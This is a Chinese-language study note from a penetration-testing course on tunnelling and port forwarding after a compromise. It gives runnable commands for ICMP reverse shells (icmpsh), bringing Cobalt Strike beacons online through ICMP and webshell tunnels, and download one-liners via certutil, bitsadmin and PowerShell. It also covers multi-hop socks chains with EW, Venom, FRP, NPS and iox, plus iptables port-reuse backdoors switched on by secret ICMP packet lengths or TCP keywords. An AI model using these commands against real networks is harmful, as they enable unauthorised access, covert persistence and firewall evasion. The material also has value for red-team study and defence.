隧道与端口转发
*本文为内测第三周结束后内网学员(hh)的学习反馈,内测过程中,辅助同学合理安排学习计划,同时也不断收集学员的学习反馈时,我们也会不断根据内测学员的建议来不断完善打磨我们的课程。如果想获得课程报名资格,请添加文末小助手微信咨询。
一、出网探测
出网探测就是要探测出网协议,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。
情况1:目标禁止出站ip
如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。(因为白名单ip没有办法拿到权限)。
情况2:禁止出站端口
Linux系统
使用Linux系统自带命令探测出网端口。( 探测 目标机器可以访问baidu.com对应ip的端口)
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";don
webshell不好回显结果,将结果写入文件中
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************"|| echo "$i closed";done >> result.txt
探测常见端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001, 7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001, 7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done >> result.txt
nmap探测(目标主机很可能没装nmap)
nmap -sT -Pn -p- -v www.baidu.com-p- 全端口-v 显示记录
masscan探测(目标主机可能不自带masscan)
masscan -p 80,443,8000-9000 182.61.200.6 --rate=10000
fscan探测
fscan -h 182.61.200.6 -p 1-65535
Windows系统
如果RDP连接上去,可以使用图形化工具(如御剑)。
如果是webshell,可以使用命令行工具(如fscan)。
探测的端口范围
可以根据nmap的端⼝范围探测。也可以根据⾃⼰的经验积累的端⼝范围进⾏探测。
nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
攻击端的端⼝请求记录
攻击端这边需要有⽬标机访问的记录,才能更好的判断⽬标机器是否访问了我们。只要⽬标机器访问到 了我们VPS的任意⼀个端⼝,我们这边都能有记录。
//将所有端⼝的流量都转发到34444端⼝ iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444//查看nat表的规则 iptables -t nat -nvL //清除nat表所有规则 iptables -t nat -F //备份iptables规则 iptables-save > /tmp/firewall.rules //恢复iptables规则 iptables-restore < /tmp/firewall.rules
配置防⽕墙规则,禁⽌访问远程机器的1-34566和34566-65535端⼝,也就是说只允许访问34567端⼝
然后我们这边监听34444端⼝,在⽬标机器端⼝探测
禁止出站协议
对于禁止出站协议的情况,需要探测目标机器允许哪些协议出网。
探测ICMP协议
服务端监听ICMP流量:tcpdump icmp 客户端ping VPS地址,查看服务端能否收到请求
VPS监听,然后ping我们vps查看能否收到监听来判断ICMP 协议是否出⽹。
也可以直接ping⼀个地址,看是否 有ttl值。
探测DNS协议
Windows:nslookup、ping Linux:nslookup、dig、ping
通过判断能否将域名解析为ip,判断DNS协议是否出⽹。也可以将域名换成dnslog的域名,再看dnslog能否收到请求。
探测HTTP协议
Linux:可以使用curl命令
curl http://192.168.10.13
Windows系统可以使用如下的命令:
certutil -urlcache -split -f http://192.168.10.13/1bitsadmin /transfer test http://192.168.10.13/1 c:\1powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing
2.只有ICMP协议出网
⽬标只有icmp协议能出⽹的话,则只有考虑使⽤icmp协议来搭建隧道。
利⽤icmp协议通信的⼯具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。
常⻅的ping命令就是利⽤的ICMP协议。
使用ICMP进行命令控制(Icmpsh)
适⽤场景:⽬标机器是Windows服务器
下载icmpsh工具:
git clone https://github.com/bdamele/icmpsh.git
VPS的操作:
#关闭icmp回复,如果要开启icmp回复,该值设置为0sysctl -w net.ipv4.icmp_echo_ignore_all=1 #运⾏,第⼀个IP是VPS的eth0⽹卡IP(vps上ifconfig可以得到),第⼆个IP是⽬标机器出⼝的公⽹IPpython2 icmpsh_m.py 172.20.92.13 39.00.00.00
目标机器的操作:
icmpsh.exe -t 39.00.00.00 -d 500 -b 30 -s 12839.00.00.00是我的attacker的公网ip
victim反弹了一个shell到我的公网vps上。
wireshark抓包可看到走的全是icmp协议
使⽤PingTunnel搭建隧道
正向socks5代理
服务端操作
#关闭icmp回复,如果要开启icmp回复,该值设置为0 sysctl -w net.ipv4.icmp_echo_ignore_all=1 #监听 sudo ./pingtunnel -type server -noprint 1 -nolog 1
客户端操作
sudo pingtunnel.exe -type client -l :1080 -s 39.99.251.19 -sock5 1 -noprint 1 -nolog 1 然后将代理设置为Socks5 127.0.0.1:1080即可。如果是在attacker vps上执行的,就设为socks5 vps_ip:1080
访问到内网网站:
端口转发
服务端操作
#关闭icmp回复,如果要开启icmp回复,该值设置为0sysctl -w net.ipv4.icmp_echo_ignore_all=1 #监听 ./pingtunnel -type server -noprint 1 -nolog 1
客户端操作
#将⽬标主机39.99.251.19的8081端⼝转发到本地的8080端⼝ pingtunnel.exe -type client -l :8080 -s victim_ip -t victim_ip:8081 -tcp 1 noprint 1 -nolog 1
这样访问本地的8080端⼝就相当于访问了⽬标主机的8081端⼝。
将victim(我的vps)的frp端口转发到本地的42538
ICMP上线CS
有如下场景,我们拿到了内⽹10.211.55.7和10.211.55.6的机器权限。但是这两个机器对外均只有icmp协议出 ⽹,我们现在可以利⽤icmp封装tcp协议,让其上线cs。
服务端10.211.55.15 对应我的公网VPS
sudo ./spp -type server -proto ricmp -listen 0.0.0.0
客户端10.211.55.7 对应我的192.168.60.124机器
spp.exe -name "test" -type proxy_client -server vps_ip -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricm
CS上创建两个监听器
重点
vps上的是开8081端口192.168.60.124上开的是8082用http8082监听器生成⽊⻢,在客户端192.168.60.124和内⽹其他机器192.168.60.228⽬标机器执⾏,可以看到均能上线。
192.168.60.124和192.168.60.228机器之间是TCP流量
客户端和服务端之间是icmp流量。
体验了一波,非常慢。
原理
实际通信是这样,192.168.60.228连接192.168.60.124的8082端⼝,但是因为我们起了正向代理,8082映射到了服务端 的8081端⼝。因此192.168.60.228最终连接到了服务端的8081端⼝。
3.目标不出网的场景
reGeorge
reGeorge的使用(本地虚拟机多次不成功)
https://github.com/sensepost/reGeorg
使用
将对应语言的脚本文件上传到目标机器,php对应tunnel.nosocket.php。
再在vps或者本机上执行
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 1080 -u http://victim_ip/tunnel.nosocket.php
设置代理访问 socks5代理
访问目标内网成功。
Neo-reGeorg
使用
执行以下命令生成代理脚本
python3 neoreg.py generate -k moonsec(password)
将生成的脚本传到目标机器上
在vps或者本地执行
python3 neoreg.py -l 0.0.0.0 -p 1080 -k moonsec -u http://victim_ip/tunnel.php
设置代理访问目标内网成功
自定义访问页面
自定义一个404页面:
python3 neoreg.py generate -k moonsec --file 404.html --httpcode 404
这样以后tunnel.py就变成了404.html的样子。
后续使用
python3 neoreg.py -l 0.0.0.0 -p 1080 -k moonsec -u http://victim_ip/tunnel.php --skip
不出网上线CS
我们打下了⼀个⽬标机器10.211.55.3,但是该机器不出⽹,我们现在想让其上线CS。我们的思路是这样的,通 过配置代理,让本地虚拟机10.211.55.7可以访问到⽬标机器。然后让本地虚拟机上线cs,⾛bind_tcp去连接⽬标 机器。
以下演示中
192.168.8.108对应图中内网不出网服务器10.211.55.3(实战中为公网IP)192.168.8.115对应图中我们的虚拟机 10.211.55.7192.168.8.106 127.0.0.1 是我们的本机
挂好http代理
在192.168.8.108(10.211.55.3)服务器上搭建http隧道
虚拟机上线CS
虚拟机192.168.8.115(10.211.55.7)上线CS
虚拟机192.168.8.115(10.211.55.7)配置好socks5代理保证可以访问到192.168.8.108(10.211.55.3)
监听bind_tcp
CS上开启一个bind tcp的监听器
生成一个bind tcp的木马
把木马在192.168.8.108(10.211.55.3)机器执行
查看是否监听了
netstat -ano |findstr 42585
connect主动连接
在已上线的192.168.8.115(10.211.55.7的shell)里面执行
connect 192.168.8.108(10.211.55.3)
好像我的cs里面bind_tcp默认是42585,所以默认会连42585跟我的cs profile有关。。。
注意要用stageless的exe。
4.FRP(目标机器出网)
使⽤Frp建⽴隧道(反向socks5代理)
基本是配置
客户端
成功
使用FRP映射web服务
客户端
将目标机器的web服务器映射到vps的8090端口上
配置:
使用FRP映射RDP服务
客户端
将目标机器的3389端口映射到我的vps上了。
也是类似的操作,电脑暂时没空间装不下linux虚拟机了就没去试。
使⽤FRP映射其他服务,例如MySQL、Redis等服务都是和映射Web、RDP、SSH服务⼀样,修改⼀下要映射 的端⼝即可。
5.NPS的使用
配置文件
有个坑
https://blog.kaygb.com/728.html
配置文件的位置不是在nps的目录下
而是在
/etc/nps/conf/nps.conf
注意,nps启动后会监听:
http_proxy_port:80 防止占用修改为9090https_proxy_port:443 防止占用修改为9091bridge_port :8024web_port :23125 防止占用
启动
启动:sudo nps start 停⽌:sudo nps stop 重启:sudo nps restart 配置⽂件重载:sudo nps reload 更新nps:nps-u pdate update
查看nps监听的端口
netstat -pantu | grep nps
登录web管理端
新建一个客户端
客户端连接
修改client的npc.conf文件
要删掉common以外的东西
修改server_addr和vkey
执行
npc.exe
在线了
搭建sock5反向代理
使⽤步骤
在刚才创建的客户端隧道管理中添加⼀条socks5代理,填写监听的端⼝(8888),保存。
在外⽹环境的本机配置socks5代理(例如使⽤proxifier进⾏全局代理),ip为公⽹服务器ip(39.00.00.00), 端⼝为填写的监听端⼝(8888),即可畅享内⽹了
socks5代理的用户名密码是新建客户端时候的basic用户名和Basic密码
使用proxifier成功连上。
挂着socks5访问RDP
6.EW
一级代理
正向代理
目标机器有公网ip,我们可以去找这个目标机器的端口,在目标机器上执行如下命令:
正向连接,所以有ssocksd(正向连接) 和 -l(监听本地端口)
./ew_for_linux64 -s ssocksd -l 1080
在目标机器上建⽴⼀个socks5的代理,监听了1080端⼝的流量。
挂上代理访问内网
浏览器proxychains设置代理访问目标内网成功。
反向代理
Victim----->vps:8889---->vps:1080(socks5)
代理是目标机器连我。
场景是获得了一个位于内网的通过NAT方式(没有公网ip)对外提供服务的主机的权限,现在需要对这台服务器所在的内网继续进行渗透。就可以通过ew建立一个socks5隧道,让主机通过隧道访问内网。
VPS
rcsocks 反向连接的attacker vps使用
-l 要监听的本地端口
-e 要反弹到的机器端⼝
VPS上开启监听,将1080端口监听的流量都转发到本地的8889端口用于反向连接
./ew_for_linux64 -s rcsocks -l 1080 -e 8889
目标机器
rssocks 反向连接的受害者机器使用-d:要反弹到的机器 ip-e 要反弹到的机器端⼝将本地的所有流量都转发到我的VPS ip的8889端⼝用于反向连接ew_for_Win.exe -s rssocks -d vps_ip -e 8889
挂上代理可访问:
浏览器proxychains
proxifier
proxychains4代理
二级代理
Vps:1080<------vps:8888<-------A<-------B:9999
踩的坑是要把B服务器的防火墙都关了或者添加对应的出入站规则才行。
有这么⼀种情况。内⽹主机A能出⽹,内⽹主机B不能出⽹,但是内⽹主机B可以访问靶标。内⽹主机A不能 访问到靶标,但是能通内⽹主机B。我们现在已经拿到了内⽹主机A和内⽹主机B的权限。
VPS:x.x.x.x服务器A(Linux):192.168.60.132服务器B(windows):192.168.60.197,10.10.1.129靶标web系统:http://10.10.1.128/dd.html
⾸先,在VPS上开启如下监听,将1080端⼝监听的流量都转发到本地的8888端⼝。
./ew_for_linux64 -s lcx_listen -l 1080 -e 8888
然后在服务器B上执⾏如下命令,监听本地的9999端⼝
ew.exe -s ssocksd -l 9999
最后再服务器A上执⾏如下命令,将VPS的8888端⼝和服务器B的9999端⼝连接起来
意思就是主动连接服务器B的9999端口(前面在B的9999端口开了监听所以连得到),反弹到vps的8888端口,用于多级连接。
./ew_for_linux64 -s lcx_slave -d vps_ip -e 8888 -f server_b_ip -g 9999
以上命令都执⾏完之后,设置socks5代理为VPS 的1080端⼝,即可成功访问靶标web系统http://10.10.1.128/dd.html。(此时的代理代的是服务器B)
三级代理
C -----> B:7777 ------> B:9999VPS:10803<---- VPS:8888<----- A ------>B:9999
内⽹主机A能出⽹,内⽹主机B不能出⽹,内⽹主机C也不能出⽹。服务器A只能访问服务 器B。服务器B只能访问服务器A和服务器C。服务器C能访问服务器B,也能访问靶标。我们现在拿到了内⽹主机 A、内⽹主机B和内⽹主机C的权限。
VPS:x.x.x.x服务器A(Linux):192.168.60.132服务器B(windows):192.168.60.197,10.10.1.129服务器C(windows):10.10.1.128,10.10.10.140靶标web系统:http://10.10.10.139/ddd.html
图中的VPS对应我的VPS
图中的内网主机A对应我的环境中的服务器A
图中的内网主机B对应我的环境中的服务器B
图中的内网主机C对应我的环境中的服务器C
图中的靶标对应我的靶标web系统10.10.10.139
⾸先,在VPS上执⾏如下命令,将10803端⼝监听的流量都转发到本地的8888端⼝
意思就是VPS监听本地端口10803的流量,反弹到8888端口 用于反向连接
./ew_for_linux64 -s rcsocks -l 10803 -e 8888
然后在服务器A上执⾏如下命令,将VPS的8888端⼝和内⽹主机B的9999端⼝连接起来
意思是服务器A主动连接内网主机B的9999端口,将流量反弹到VPS的8888端口。
./ew_for_linux64 -s lcx_slave -d vps -e 8888 -f 192.168.60.197 -g 9999
接着在服务器B上执⾏如下命令,将监听的9999端⼝的流量都转发给本地的7777端⼝
意思就是服务器B监听本地端口9999的流量 把流量都反弹到7777端口,用于多级连接。
ew.exe -s lcx_listen -l 9999 -e 7777
意思是服务器C把流量反弹到主机B(10.10.1.129)的7777端口,用于反向连接(C反向连接B)
ew.exe -s rssocks -d 10.10.1.129 -e 7777
以上命令都执⾏完之后,设置socks5代理为VPS 的10803端⼝,即可成功访问靶标web系统。(此时的代理代的是服务器C)
四级代理
暂时没能在本地搭建起来四层代理的环境,仅作记录
有这么⼀种情况。内⽹主机A能出⽹,内⽹主机B不能出⽹,内⽹主机C也不能出⽹,内⽹主机D也不能出 ⽹。内⽹主机A只能访问内⽹主机B。内⽹主机B只能访问内⽹主机A和内⽹主机C。内⽹主机C只能访问内⽹主机B 和内⽹主机D。内⽹主机D能访问内⽹主机C和靶标。我们现在拿到了内⽹主机A、内⽹主机B、内⽹主机C和内⽹主机D的权限。
VPS:39.99.251.19服务器A(Linux):10.211.55.15服务器B(Windows):10.211.55.6服务器C(Windows):10.211.55.16服务器D(Windows):10.211.55.14靶标web系统:http://10.211.55.7/1.txt
⾸先,在VPS上执⾏如下命令,将1080端⼝监听的流量都转发到本地的8888端⼝
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
然后在服务器A上执⾏如下命令,将VPS的8888端⼝和内⽹主机B的9999端⼝连接起来
./ew_for_linux64 -s lcx_slave -d 39.99.251.19 -e 8888 -f 10.211.55.6 -g 9999
然后在服务器B上执⾏如下命令,将本地的9999端⼝流量转发到内⽹主机C的7777端⼝
ew.exe -s lcx_tran -l 9999 -f 10.211.55.16 -g 7777
然后在服务器C上执⾏如下命令,将本地的7777端⼝的流量都转发给本地的6666端⼝
ew.exe -s lcx_listen -l 7777 -e 6666
最后再服务器D执⾏如下命令,将反弹流量到内⽹主机C的6666端⼝
ew.exe -s rssocks -d 10.211.55.16 -e 6666
以上命令都执⾏完之后,设置socks5代理为VPS 39.99.251.19的1080端⼝,即可成功访问靶标web系统。
7.iox使用
iox使用
fwd转发模式
将内网主机的RDP端口转发到VPS上
VPS执行:
./iox fwd -l *9999 -l 3389 -k 65656
3389不用加密
目标机器执行:
iox.exe fwd -r local_ip:3389 -r *vps_ip:9999 -k 656565
rdp成功 有时候要多试几次
Proxy代理模式
sock5反向代理
目标机器连我的VPS
尝试了一种成功一种失败
失败的情况----------------------
VPS执行
./iox proxy -l *9999 -l *1080 -k 656565 (失败)
目标机器执行#将流量转发到vps的9999端⼝iox.exe proxy -r *vps_ip:9999 -k 656565代理设置socks5 vps:1080失败
成功的情况--------------------------------
VPS执行
./iox proxy -l *9999 -l 1080 -k 656565 (socks端口不加密似乎能成功)
目标机器执行
iox.exe proxy -r *vps_ip:9999 -k 656565
成功
socks5正向代理
我们去连目标机器
目标机器上执行
./iox proxy -l 1080
浏览器proxychains挂vps的1080端口的sock5代理访问成功
终端proxychains4挂vps的1080端口的sock5代理成功
proxifier访问成功
8.Venom
一级代理
反向socks5代理
有这么⼀个场景,我们获得了⼀个位于内⽹的通过NAT⽅式对外提供服务的主机的权限,现在我们需要对其 所在的内⽹继续进⾏渗透。于是,我们就需要通过venom建⽴⼀个socks5隧道代理,让我们的主机可以通过隧道访问其内⽹。
反向代理是客户端连我们的VPS。
服务端(VPS)
执行如下命令监听9999端口
./admin_linux_x64 -lport 9999 -passwd moonsec
客户端
执行如下命令连接VPS的9999端口
agent.exe -rhost vps_ip -rport 9999 -passwd moonsec
然后服务端就可以收到流量
goto节点,执行socks命令简历socks5代理
goto 1socks 1080
我们连vps的1080端口的socks代理就可以内网漫游。
正向socks5代理
当⽬标机器有⼀个公⽹ip时,可以使⽤以下命令建⽴⼀个socks5的代理,监听1080端⼝的流量。
那么就可以在目标机器上开一个端口用自己的VPS然后去连。
客户端:
在目标机器上执行如下命令监听8888端口:
./agent_linux_x64 -lport 8888
服务端:
实战中用VPS或者本地端去连接目标机器ip的8888端口:
admin.exe -rhost target_ip -rport 8888
goto节点,socks命令建立代理。
goto 1socks 1080
二级代理
现在有这么⼀种情况。内⽹主机A能出⽹,内⽹主机B不能出⽹,但是内⽹主机B可以访问靶标。内⽹主机A不能访 问到靶标,但是能通内⽹主机B。我们现在已经拿到了内⽹主机A和内⽹主机B的权限。
VPS服务器A:192.168.60.132服务器B:192.168.60.150,10.10.1.129靶标web系统:http://10.10.1.128/dd.html
正向连接
图中的VPS、内网主机A、内网主机B、靶标分别和我自己的环境对应。
二级代理只需要在一级代理的基础上多执行一条命令。
首先搭建一级代理:
这里就用反向代理——
VPS:./admin_linux_x64 -lport 9999 -passwd moonsec A:./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd moonsec
如果一级代理加了密码 -passwd参数,那么后面的代理都需要带上 -passwd参数。一级代理没有加密码的话后面都不用加。
B机器上执行如下命令:
agent.exe -lport 9999 -passwd moonsec
(admin node) >>> goto 1node 1(node 1) >>> connect 192.168.60.151 9999connect to 192.168.60.151 9999successfully connect to the remote port!(node 1) >>> showA+ -- 1 + -- 2(node 1) >>> goto 2node 2(node 2) >>> socks 1080a socks5 proxy of the target node has started up on the local port 1080.
反向连接
搭建好一级代理:
VPS:./admin_linux_x64 -lport 9999 -passwd moonsec A:./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd moonsec
一级代理搭建完成:
然后在A服务器上开启监听端口:
(node 1) >>> listen 7778listen 7778the port 7778 is successfully listening on the remote node!
B服务器反向去连A:
agent.exe -rhost 192.168.60.132 -rport 7778 -passwd moonsec
(node 1) >>> showA+ -- 1 + -- 2(node 1) >>> goto 2node 2(node 2) >>> socks 1080a socks5 proxy of the target node has started up on the local port 1080.(node 2) >>>
三级代理
现在有这么⼀种情况。内⽹主机A能出⽹,内⽹主机B不能出⽹,内⽹主机C也不能出⽹。服务器A只能访问服务器 B。服务器B只能访问服务器A和服务器C。服务器C能访问服务器B,也能访问靶标。我们现在拿到了内⽹主机A、 内⽹主机B和内⽹主机C的权限。
VPS服务器A:192.168.60.132服务器B:192.168.60.150,10.10.1.129服务器C:10.10.1.128,10.10.10.140靶标:http://10.10.10.139/ddd.html
三级代理就是在二级代理基础上再建立一个反向代理或者正向代理
正向代理
通过B去连C
C服务器:
agent.exe -lport 8886 -passwd moonsec
B服务器:
(node 2) >>> connect 10.10.1.128 8886connect to 10.10.1.128 8886successfully connect to the remote port!(node 2) >>> showA+ -- 1 + -- 2 + -- 3(node 2) >>> goto 3node 3(node 3) >>> socks 1081a socks5 proxy of the target node has started up on the local port 1081.(node 3) >>>
反向代理
通过C来连B
B服务器:
(node 2) >>> listen 9998listen 9998the port 9998 is successfully listening on the remote node!
C服务器:
agent.exe -rhost 10.10.1.129 -rport 9998 -passwd moonsec
9.端口复用
端⼝复⽤就是在⼀个开放的端⼝上,通过对输⼊的信息进⾏字符匹配,来运⾏不同的服务。端⼝复⽤只对输⼊的信息进⾏字符匹配,不对⽹络数据进⾏任何拦截、复制类操作,所以对⽹络数据的传输性能丝毫不受影响。端⼝复⽤常被⿊客⽤来制作后⻔。有时候利用端口复用也可以搭建隐蔽的隧道。
Linux利用iptables做端口复用
场景:
⽬标主机是Linux系统,⽬标主机防⽕墙有严格的限制,只允许80端⼝的流量进⼊。我们拿到了⽬标主机的Webshell(root权限,因为iptables命令需要root权限)并且拿到了SSH的账号密码。但是⽬标主机22端⼝只对内开放,所以必须得利⽤80端⼝做端⼝复⽤连接。
原先只能通过webshell进行管理,现在想通过ssh远程连接到目标机器来进行。
方案一:(根据源地址做端口复用)
223.104.40.92是我的机子的出口ip(如果是vps的话就是vps的公网ip)
#将来⾃223.104.40.92的访问80端⼝的流量都重定向到22端⼝。iptables -t nat -A PREROUTING -p tcp -s 223.104.40.92 --dport 80 -j REDIRECT --to-port 22iptables -t nat -A PREROUTING -p tcp -s 220.196.192.73 --dport 80 -j REDIRECT --to-port 22#查看nat表的规则 iptables -t nat -nvL #清除nat表的规则 iptables -t nat -F
但是这样做有⼀个问题就是,我们访问⽬标主机80端⼝的流量都会被转给22端⼝。如果我们不⽤访问该HTTP服务 的话,这是⼀个好的办法。实战中,我们⼀般是⽤VPS连接不⽤访问HTTP服务,所以在实战中该⽅法⽤的⽐较多。所以说就是没事
方案二:(根据源地址源端口做端口复用)
既指定ip又指定端口,主要主动连的机子有公网ip(VPS)。
做个记录。
目标机器上执行:
#根据源地址源端⼝做端⼝复⽤,也就是只有来⾃223.104.40.92主机的33333端⼝的访问80端⼝的流量会被转给22 端⼝ iptables -t nat -A PREROUTING -p tcp -s 223.104.40.92 --sport 33333 --dport 80 -j REDIRECT --to-port 22 #查看nat表的规则 iptables -t nat -nvL #清楚nat表的规则 iptables -t nat -F
然后我们本机先⽤socat将本地44444端⼝的流量以源端⼝33333访问39.99.251.19的80,然后我们SSH本地的 44444端⼝即可。
socat tcp-listen:44444,fork,reuseaddr tcp:39.99.251.19:80,sourceport=33333,reuseaddr ssh -p 44444 root@127.0.0.1
但是这样做有⼀个问题就是不⽀持多连接 如果想创建两个 SSH 连接就会出错,因为本地的 33333 端⼝已经被第⼀ 个 SSH 连接占⽤了。并且这样做需要连接的机器拥有单独的公⽹ip,⽐如VPS。
方案三:(利用ICMP协议做遥控开关)
创建一个规则,满足条件触发。
#创建端⼝复⽤链 iptables -t nat -N LETMEIN #创建端⼝复⽤规则,将流量转发⾄ 22 端⼝ iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 #开启开关,如果接收到⼀个⻓为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT #关闭开关,如果接收到⼀个⻓为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT #如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进⾏处理,有效时间为 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN #查看nat表的规则 iptables -t nat -nvL #清除nat表的规则 iptables -t nat -F
#开启复⽤,向⽬标发送⼀个⻓度为 1111 的 ICMP 数据包(加上包头28,总⻓度实际为1139)∂ping -c 1 -s 1111 39.99.251.19 ssh -p 80 xx@ip#关闭复⽤,向⽬标发送⼀个⻓度为 1112 的 ICMP 数据包(加上包头 28,总⻓度实际为 1140) ping -c 1 -s 1112 39.99.251.19
方案四:(利用TCP协议做遥控开关)
利⽤ tcp 数据包中的关键字做遥控开关,不怕⽬标在内⽹。
#创建端⼝复⽤链 iptables -t nat -N LETMEIN2 #创建端⼝复⽤规则,将流量转发⾄ 22 端⼝ iptables -t nat -A LETMEIN2 -p tcp -j REDIRECT --to-port 22 #开启开关,如果接收到⼀个含有threathuntercoming的TCP包,则将来源 IP 添加到加为letmein2的列表中 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LETMEIN2 --rsource -j ACCEPT #关闭开关,如果接收到⼀个含有threathunterleaving的TCP包,则将来源 IP 从letmein2的列表中移除 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name LETMEIN2 --remove -j ACCEPT #如果发现 SYN 包的来源 IP 处于 letmein2 列表中,将跳转到 LETMEIN2 链进⾏处理,有效时间为 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name LETMEIN2 --rsource -j LETMEIN2
#开启复⽤,开启后本机到⽬标 80 端⼝的流量将转发⾄⽬标的 SSHecho threathuntercoming | socat - tcp:39.99.251.19:80 #关闭复⽤,关闭后,80 恢复正常 echo threathunterleaving | socat - tcp:39.99.251.19:80
